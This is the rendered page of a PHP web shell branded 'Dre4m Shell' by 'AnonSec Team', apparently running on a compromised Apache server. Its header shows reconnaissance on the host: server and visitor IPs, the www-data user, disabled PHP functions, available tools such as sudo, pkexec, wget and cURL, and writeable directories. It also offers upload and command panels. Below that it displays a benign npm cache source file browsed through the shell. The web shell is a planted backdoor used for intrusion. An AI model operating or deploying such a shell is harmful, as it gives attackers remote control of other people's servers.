Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.135.18.100
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/npm/lib/cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/npm/lib/cache/add-local.js
var assert = require('assert')
var path = require('path')
var mkdir = require('mkdirp')
var chownr = require('chownr')
var pathIsInside = require('path-is-inside')
var readJson = require('read-package-json')
var log = require('npmlog')
var npm = require('../npm.js')
var tar = require('../utils/tar.js')
var deprCheck = require('../utils/depr-check.js')
var getCacheStat = require('./get-stat.js')
var cachedPackageRoot = require('./cached-package-root.js')
var addLocalTarball = require('./add-local-tarball.js')
var sha = require('sha')
var inflight = require('inflight')
var lifecycle = require('../utils/lifecycle.js')
var iferr = require('iferr')

module.exports = addLocal

function addLocal (p, pkgData, cb_) {
  assert(typeof p === 'object', 'must have spec info')
  assert(typeof cb === 'function', 'must have callback')

  pkgData = pkgData || {}

  function cb (er, data) {
    if (er) {
      log.error('addLocal', 'Could not install %s', p.spec)
      return cb_(er)
    }
    if (data && !data._fromHosted) {
      data._from = path.relative(npm.prefix, p.spec) || '.'
      var resolved = path.relative(npm.prefix, p.spec)
      if (resolved) data._resolved = 'file:' + resolved
    }
    return cb_(er, data)
  }

  if (p.type === 'directory') {
    addLocalDirectory(p.spec, pkgData, null, cb)
  } else {
    addLocalTarball(p.spec, pkgData, null, cb)
  }
}

// At this point, if shasum is set, it's something that we've already
// read and checked.  Just stashing it in the data at this point.
function addLocalDirectory (p, pkgData, shasum, cb) {
  assert(pkgData, 'must pass package data')
  assert(typeof cb === 'function', 'must have callback')

  // if it's a folder, then read the package.json,
  // tar it to the proper place, and add the cache tar
  if (pathIsInside(p, npm.cache)) {
    return cb(new Error(
    'Adding a cache directory to the cache will make the world implode.'
    ))
  }

  readJson(path.join(p, 'package.json'), false, function (er, data) {
    if (er) return cb(er)

    if (!data.name) {
      return cb(new Error('No name provided in package.json'))
    } else if (pkgData.name && pkgData.name !== data.name) {
      return cb(new Error(
        'Invalid package: expected ' + pkgData.name + ' but found ' + data.name
      ))
    }

    if (!data.version) {
      return cb(new Error('No version provided in package.json'))
    } else if (pkgData.version && pkgData.version !== data.version) {
      return cb(new Error(
        'Invalid package: expected ' + pkgData.name + '@' + pkgData.version +
          ' but found ' + data.name + '@' + data.version
      ))
    }

    deprCheck(data)

    // pack to {cache}/name/ver/package.tgz
    var root = cachedPackageRoot(data)
    var tgz = path.resolve(root, 'package.tgz')
    var pj = path.resolve(root, 'package/package.json')

    var wrapped = inflight(tgz, next)
    if (!wrapped) return log.verbose('addLocalDirectory', tgz, 'already in flight; waiting')
    log.verbose('addLocalDirectory', tgz, 'not in flight; packing')

    getCacheStat(function (er, cs) {
      mkdir(path.dirname(pj), function (er, made) {
        if (er) return cb(er)
        var doPrePublish = !pathIsInside(p, npm.tmp)
        if (doPrePublish) {
          lifecycle(data, 'prepublish', p, iferr(cb, thenPack))
        } else {
          thenPack()
        }
        function thenPack () {
          tar.pack(tgz, p, data, function (er) {
            if (er) {
              log.error('addLocalDirectory', 'Could not pack', p, 'to', tgz)
              return cb(er)
            }

            if (!cs || isNaN(cs.uid) || isNaN(cs.gid)) wrapped()

            chownr(made || tgz, cs.uid, cs.gid, wrapped)
          })
        }
      })
    })

    function next (er) {
      if (er) return cb(er)
      // if we have the shasum already, just add it
      if (shasum) {
        return addLocalTarball(tgz, data, shasum, cb)
      } else {
        sha.get(tgz, function (er, shasum) {
          if (er) {
            return cb(er)
          }
          data._shasum = shasum
          return addLocalTarball(tgz, data, shasum, cb)
        })
      }
    }
  })
}

Anon7 - 2022
AnonSec Team